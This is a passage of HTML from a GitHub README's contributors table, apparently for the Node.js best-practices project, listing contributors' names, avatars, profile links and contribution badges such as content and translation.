/><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Juan José Rodríguez</b></sub></a><br /><a href="#translation-juaoose" title="Translation">🌍</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/OrBin"><img src="https://avatars1.githubusercontent.com/u/6897234?v=4" width="100px;" alt="Or Bin"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Or Bin</b></sub></a><br /><a href="#content-OrBin" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://twitter.com/andreoav07"><img src="https://avatars2.githubusercontent.com/u/508827?v=4" width="100px;" alt="Andreo Vieira"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Andreo Vieira</b></sub></a><br /><a href="#content-andreoav" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/mikicho"><img src="https://avatars1.githubusercontent.com/u/11459632?v=4" width="100px;" alt="Michael Solomon"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Michael Solomon</b></sub></a><br /><a href="#content-mikicho" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/jimmycallin"><img src="https://avatars0.githubusercontent.com/u/2225828?v=4" width="100px;" alt="Jimmy Callin"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Jimmy Callin</b></sub></a><br /><a href="#content-jimmycallin" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/siddharthofficial/"><img src="https://avatars2.githubusercontent.com/u/26025955?v=4" width="100px;" alt="Siddharth"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Siddharth</b></sub></a><br /><a href="#content-w01fS" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://ryansmith.tech/"><img src="https://avatars0.githubusercontent.com/u/1578766?v=4" width="100px;" alt="Ryan Smith"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Ryan Smith</b></sub></a><br /><a href="#content-ryan3E0" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://de.linkedin.com/in/tom-boettger"><img src="https://avatars2.githubusercontent.com/u/49961674?v=4" width="100px;" alt="Tom Boettger"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Tom Boettger</b></sub></a><br /><a href="#content-bttger" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/jormaechea"><img src="https://avatars3.githubusercontent.com/u/5612500?v=4" width="100px;" alt="Joaquín Ormaechea"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Joaquín Ormaechea</b></sub></a><br /><a href="#translation-jormaechea" title="Translation">🌍</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/dfrzuz"><img src="https://avatars3.githubusercontent.com/u/71859096?v=4" width="100px;" alt="dfrzuz"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>dfrzuz</b></sub></a><br /><a href="#translation-dfrzuz" title="Translation">🌍</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/victor-homyakov"><img src="https://avatars1.githubusercontent.com/u/121449?v=4" width="100px;" alt="Victor Homyakov"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Victor Homyakov</b></sub></a><br /><a href="#content-victor-homyakov" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://joshuahemphill.com"><img src="https://avatars3.githubusercontent.com/u/46608115?v=4" width="100px;" alt="Josh"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Josh</b></sub></a><br /><a href="#content-josh-hemphill" title="Content">🖋</a> <a href="#security-josh-hemphill" title="Security">🛡️</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/alec-francis"><img src="https://avatars2.githubusercontent.com/u/32949882?v=4" width="100px;" alt="Alec Francis"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Alec Francis</b></sub></a><br /><a href="#content-alec-francis" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/arjun6610"><img src="https://avatars1.githubusercontent.com/u/61268891?v=4" width="100px;" alt="arjun6610"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>arjun6610</b></sub></a><br /><a href="#content-arjun6610" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/jan-osch"><img src="https://avatars2.githubusercontent.com/u/11651780?v=4" width="100px;" alt="Jan Osch"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Jan Osch</b></sub></a><br /><a href="#content-jan-osch" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/thiagotrs"><img src="https://avatars2.githubusercontent.com/u/32005779?v=4" width="100px;" alt="Thiago Rotondo Sampaio"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Thiago Rotondo Sampaio</b></sub></a><br /><a href="#translation-thiagotrs" title="Translation">🌍</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Alexsey"><img src="https://avatars0.githubusercontent.com/u/6392013?v=4" width="100px;" alt="Alexsey"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Alexsey</b></sub></a><br /><a href="#content-Alexsey" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/13luismb"><img src="https://avatars1.githubusercontent.com/u/32210483?v=4" width="100px;" alt="Luis A. Acurero"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Luis A. Acurero</b></sub></a><br /><a href="#translation-13luismb" title="Translation">🌍</a></td> <td align="center" valign="top" width="14.28%"><a href="https://lromano97.github.io/"><img src="https://avatars1.githubusercontent.com/u/22394847?v=4" width="100px;" alt="Lucas Romano"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Lucas Romano</b></sub></a><br /><a href="#translation-lromano97" title="Translation">🌍</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/denisecase"><img src="https://avatars0.githubusercontent.com/u/13016516?v=4" width="100px;" alt="Denise Case"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Denise Case</b></sub></a><br /><a href="#content-denisecase" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://stackoverflow.com/story/elektronik"><img src="https://avatars3.githubusercontent.com/u/1078554?v=4" width="100px;" alt="Nick Ribal"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Nick Ribal</b></sub></a><br /><a href="#content-elektronik2k5" title="Content">🖋</a> <a href="https://github.com/goldbergyoni/nodebestpractices/pulls?q=is%3Apr+reviewed-by%3Aelektronik2k5" title="Reviewed Pull Requests">👀</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/0xflotus"><img src="https://avatars3.githubusercontent.com/u/26602940?v=4" width="100px;" alt="0xflotus"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>0xflotus</b></sub></a><br /><a href="#content-0xflotus" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://www.dijonkitchen.org/"><img src="https://avatars3.githubusercontent.com/u/11434205?v=4" width="100px;" alt="Jonathan Chen"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Jonathan Chen</b></sub></a><br /><a href="#content-dijonkitchen" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/dilansri"><img src="https://avatars2.githubusercontent.com/u/5089728?v=4" width="100px;" alt="Dilan Srilal"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Dilan Srilal</b></sub></a><br /><a href="#content-dilansri" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://vectree.ru"><img src="https://avatars3.githubusercontent.com/u/4215285?v=4" width="100px;" alt="vladthelittleone"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>vladthelittleone</b></sub></a><br /><a href="#translation-vladthelittleone" title="Translation">🌍</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.nikolaso.com"><img src="https://avatars0.githubusercontent.com/u/60047271?v=4" width="100px;" alt="Nik Osvalds"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Nik Osvalds</b></sub></a><br /><a href="#content-nosvalds" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/kdaniel21"><img src="https://avatars0.githubusercontent.com/u/39854385?v=4" width="100px;" alt="Daniel Kiss"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Daniel Kiss</b></sub></a><br /><a href="https://github.com/goldbergyoni/nodebestpractices/commits?author=kdaniel21" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://twitter.com/forresst17"><img src="https://avatars2.githubusercontent.com/u/163352?v=4" width="100px;" alt="Forresst"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Forresst</b></sub></a><br /><a href="#content-forresst" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/svenheden"><img src="https://avatars1.githubusercontent.com/u/76098?v=4" width="100px;" alt="Jonathan Svenheden"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Jonathan Svenheden</b></sub></a><br /><a href="#content-svenheden" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/AustrisC"><img src="https://avatars2.githubusercontent.com/u/12381652?v=4" width="100px;" alt="AustrisC"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>AustrisC</b></sub></a><br /><a href="#content-AustrisC" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/cisco0808"><img src="https://avatars0.githubusercontent.com/u/60251188?v=4" width="100px;" alt="kyeongtae kim"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>kyeongtae kim</b></sub></a><br /><a href="#translation-cisco0808" title="Translation">🌍</a></td> <td align="center" valign="top" width="14.28%"><a href="https://keybase.io/651z9pz968v2accj"><img src="https://avatars.githubusercontent.com/u/65741741?v=4" width="100px;" alt="007"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>007</b></sub></a><br /><a href="#content-6gx7iycn53ioq2e8apk1j1ypwov4giui" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://www.anediaz.com"><img src="https://avatars.githubusercontent.com/u/17216937?v=4" width="100px;" alt="Ane Diaz de Tuesta"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Ane Diaz de Tuesta</b></sub></a><br /><a href="#translation-anediaz" title="Translation">🌍</a> <a href="#content-anediaz" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://yukioh.net"><img src="https://avatars.githubusercontent.com/u/23182489?v=4" width="100px;" alt="YukiOta"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>YukiOta</b></sub></a><br /><a href="#translation-YukiOta" title="Translation">🌍</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.yeovilhospital.co.uk/"><img src="https://avatars.githubusercontent.com/u/43814140?v=4" width="100px;" alt="Frazer Smith"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Frazer Smith</b></sub></a><br /><a href="#content-Fdawgs" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/rluvaton"><img src="https://avatars.githubusercontent.com/u/16746759?v=4" width="100px;" alt="Raz Luvaton"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Raz Luvaton</b></sub></a><br /><a href="#content-rluvaton" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/YA21"><img src="https://avatars.githubusercontent.com/u/37298463?v=4" width="100px;" alt="Yuta Azumi"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Yuta Azumi</b></sub></a><br /><a href="#content-YA21" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/andrewjbarbour"><img src="https://avatars.githubusercontent.com/u/77080074?v=4" width="100px;" alt="andrewjbarbour"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>andrewjbarbour</b></sub></a><br /><a href="#content-andrewjbarbour" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://MasujimaRyohei.jp"><img src="https://avatars.githubusercontent.com/u/17163541?v=4" width="100px;" alt="mr"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>mr</b></sub></a><br /><a href="#content-MasujimaRyohei" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/kubanac95"><img src="https://avatars.githubusercontent.com/u/16191931?v=4" width="100px;" alt="Aleksandar"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Aleksandar</b></sub></a><br /><a href="#content-kubanac95" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://vincentjonathan.com"><img src="https://avatars.githubusercontent.com/u/32597776?v=4" width="100px;" alt="Owl"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Owl</b></sub></a><br /><a href="#content-SuspiciousLookingOwl" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/yedidyas"><img src="https://avatars.githubusercontent.com/u/36074789?v=4" width="100px;" alt="Yedidya Schwartz"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Yedidya Schwartz</b></sub></a><br /><a href="#content-yedidyas" title="Content">🖋</a> <a href="#example-yedidyas" title="Examples">💡</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ariel-diaz"><img src="https://avatars.githubusercontent.com/u/20423540?v=4" width="100px;" alt="ari"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>ari</b></sub></a><br /><a href="#content-ariel-diaz" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="http://www.koenigthomas.de/"><img src="https://avatars.githubusercontent.com/u/7080389?v=4" width="100px;" alt="Thomas König"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Thomas König</b></sub></a><br /><a href="#content-Vispercept" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/coocos"><img src="https://avatars.githubusercontent.com/u/1397804?v=4" width="100px;" alt="Kalle Lämsä"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Kalle Lämsä</b></sub></a><br /><a href="#content-coocos" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://math.cat"><img src="https://avatars.githubusercontent.com/u/10328430?v=4" width="100px;" alt="Wyatt"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Wyatt</b></sub></a><br /><a href="#content-ZhyMC" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://libkhadir.fr"><img src="https://avatars.githubusercontent.com/u/45130488?v=4" width="100px;" alt="KHADIR Tayeb"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>KHADIR Tayeb</b></sub></a><br /><a href="#content-tkhadir" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/shankarregmi"><img src="https://avatars.githubusercontent.com/u/7703345?v=4" width="100px;" alt="Shankar Regmi"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Shankar Regmi</b></sub></a><br /><a href="#content-shankarregmi" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/codebyshubham"><img src="https://avatars.githubusercontent.com/u/10389723?v=4" width="100px;" alt="Shubham"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Shubham</b></sub></a><br /><a href="#content-codebyshubham" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://lucalves.me/"><img src="https://avatars.githubusercontent.com/u/17712401?v=4" width="100px;" alt="Lucas Alves"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Lucas Alves</b></sub></a><br /><a href="#content-lucalves" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/benjaminudoh10"><img src="https://avatars.githubusercontent.com/u/9018331?v=4" width="100px;" alt="Benjamin"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Benjamin</b></sub></a><br /><a href="#content-benjaminudoh10" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.yjoer.com"><img src="https://avatars.githubusercontent.com/u/47742486?v=4" width="100px;" alt="Yeoh Joer"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Yeoh Joer</b></sub></a><br /><a href="#content-yjoer" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://blog.miigon.net"><img src="https://avatars.githubusercontent.com/u/16161991?v=4" width="100px;" alt="Miigon"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Miigon</b></sub></a><br /><a href="#content-Miigon" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://brainstorage.me/Egregor2011"><img src="https://avatars.githubusercontent.com/u/3630318?v=4" width="100px;" alt="Rostislav Bogorad"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Rostislav Bogorad</b></sub></a><br /><a href="#content-Egregor2011" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Flouse"><img src="https://avatars.githubusercontent.com/u/1297478?v=4" width="100px;" alt="Flouse"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Flouse</b></sub></a><br /><a href="#content-Flouse" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://taranttini.com"><img src="https://avatars.githubusercontent.com/u/6922125?v=4" width="100px;" alt="Tarantini Pereira"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Tarantini Pereira</b></sub></a><br /><a href="#content-taranttini" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/kzmat"><img src="https://avatars.githubusercontent.com/u/34614358?v=4" width="100px;" alt="Kazuki Matsuo"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Kazuki Matsuo</b></sub></a><br /><a href="#content-kzmat" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/burkybang"><img src="https://avatars.githubusercontent.com/u/927886?v=4" width="100px;" alt="Adam Smith"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Adam Smith</b></sub></a><br /><a href="#content-burkybang" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://codekodo.tistory.com"><img src="https://avatars.githubusercontent.com/u/33795856?v=4" width="100px;" alt="Dohyeon Ko"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Dohyeon Ko</b></sub></a><br /><a href="#content-k906506" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/vlad99902"><img src="https://avatars.githubusercontent.com/u/67615003?v=4" width="100px;" alt="Vladislav Legkov"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Vladislav Legkov</b></sub></a><br /><a href="#content-vlad99902" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://kerolloz.github.io"><img src="https://avatars.githubusercontent.com/u/36763164?v=4" width="100px;" alt="Kerollos Magdy"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Kerollos Magdy</b></sub></a><br /><a href="#content-kerolloz" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/erez-lieberman-b90b7219/"><img src="https://avatars.githubusercontent.com/u/3277260?v=4" width="100px;" alt="Erez Lieberman"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Erez Lieberman</b></sub></a><br /><a href="#content-erezLieberman" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/breno-macedo-ernani-de-s%C3%A1-110223158/"><img src="https://avatars.githubusercontent.com/u/48841329?v=4" width="100px;" alt="Breno Macedo"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Breno Macedo</b></sub></a><br /><a href="#content-breno404" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/JFernando122"><img src="https://avatars.githubusercontent.com/u/40414805?v=4" width="100px;" alt="Fernando Flores"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Fernando Flores</b></sub></a><br /><a href="#translation-JFernando122" title="Translation">🌍</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/rafaelconcept/"><img src="https://avatars.githubusercontent.com/u/43880669?v=4" width="100px;" alt="Rafael Brito"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Rafael Brito</b></sub></a><br /><a href="#translation-rafaelconcept" title="Translation">🌍</a></td> <td align="center" valign="top" width="14.28%"><a href="https://emiliano-peralta-portfolio.vercel.app/"><img src="https://avatars.githubusercontent.com/u/63617637?v=4" width="100px;" alt="Emiliano Peralta"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Emiliano Peralta</b></sub></a><br /><a href="#translation-emiperalta" title="Translation">🌍</a></td> <td align="center" valign="top" width="14.28%"><a href="https://lannex.github.io"><img src="https://avatars.githubusercontent.com/u/7369541?v=4" width="100px;" alt="Shin, SJ"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Shin, SJ</b></sub></a><br /><a href="#content-lannex" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://www.benjaminforster.com"><img src="https://avatars.githubusercontent.com/u/12589522?v=4" width="100px;" alt="Benjamin Forster"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Benjamin Forster</b></sub></a><br /><a href="#content-e-e-e" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/DanieleFedeli"><img src="https://avatars.githubusercontent.com/u/37077048?v=4" width="100px;" alt="Daniele Fedeli"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Daniele Fedeli</b></sub></a><br /><a href="#content-DanieleFedeli" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/djob195"><img src="https://avatars.githubusercontent.com/u/17146669?v=4" width="100px;" alt="djob195"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>djob195</b></sub></a><br /><a href="#content-djob195" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/antspk"><img src="https://avatars.githubusercontent.com/u/78955792?v=4" width="100px;" alt="antspk"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>antspk</b></sub></a><br /><a href="#content-antspk" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://jjy0821.tistory.com/"><img src="https://avatars.githubusercontent.com/u/88075341?v=4" width="100px;" alt="정진영"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>정진영</b></sub></a><br /><a href="#content-jjy821" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/kkk-cashwalk"><img src="https://avatars.githubusercontent.com/u/91455122?v=4" width="100px;" alt="kkk-cashwalk"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>kkk-cashwalk</b></sub></a><br /><a href="#content-kkk-cashwalk" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/apainintheneck"><img src="https://avatars.githubusercontent.com/u/42982186?v=4" width="100px;" alt="apainintheneck"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>apainintheneck</b></sub></a><br /><a href="#content-apainintheneck" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/koyanyaroo"><img src="https://avatars.githubusercontent.com/u/9715368?v=4" width="100px;" alt="Fajar Budhi Iswanda"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Fajar Budhi Iswanda</b></sub></a><br /><a href="#content-koyanyaroo" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/jutiger"><img src="https://avatars.githubusercontent.com/u/97490806?v=4" width="100px;" alt="이주호"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>이주호</b></sub></a><br /><a href="#content-jutiger" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/MisterSingh"><img src="https://avatars.githubusercontent.com/u/44462019?v=4" width="100px;" alt="Singh"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Singh</b></sub></a><br /><a href="#content-MisterSingh" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Alex-Dumitru"><img src="https://avatars.githubusercontent.com/u/43738450?v=4" width="100px;" alt="Alex Dumitru"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Alex Dumitru</b></sub></a><br /><a href="#content-Alex-Dumitru" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/lykhatskyi"><img src="https://avatars.githubusercontent.com/u/18104686?v=4" width="100px;" alt="Anton Lykhatskyi"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Anton Lykhatskyi</b></sub></a><br /><a href="#content-lykhatskyi" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/EverythingAvailable"><img src="https://avatars.githubusercontent.com/u/81002379?v=4" width="100px;" alt="sangwonlee"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>sangwonlee</b></sub></a><br /><a href="#content-EverythingAvailable" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/euberdeveloper"><img src="https://avatars.githubusercontent.com/u/33126163?v=4" 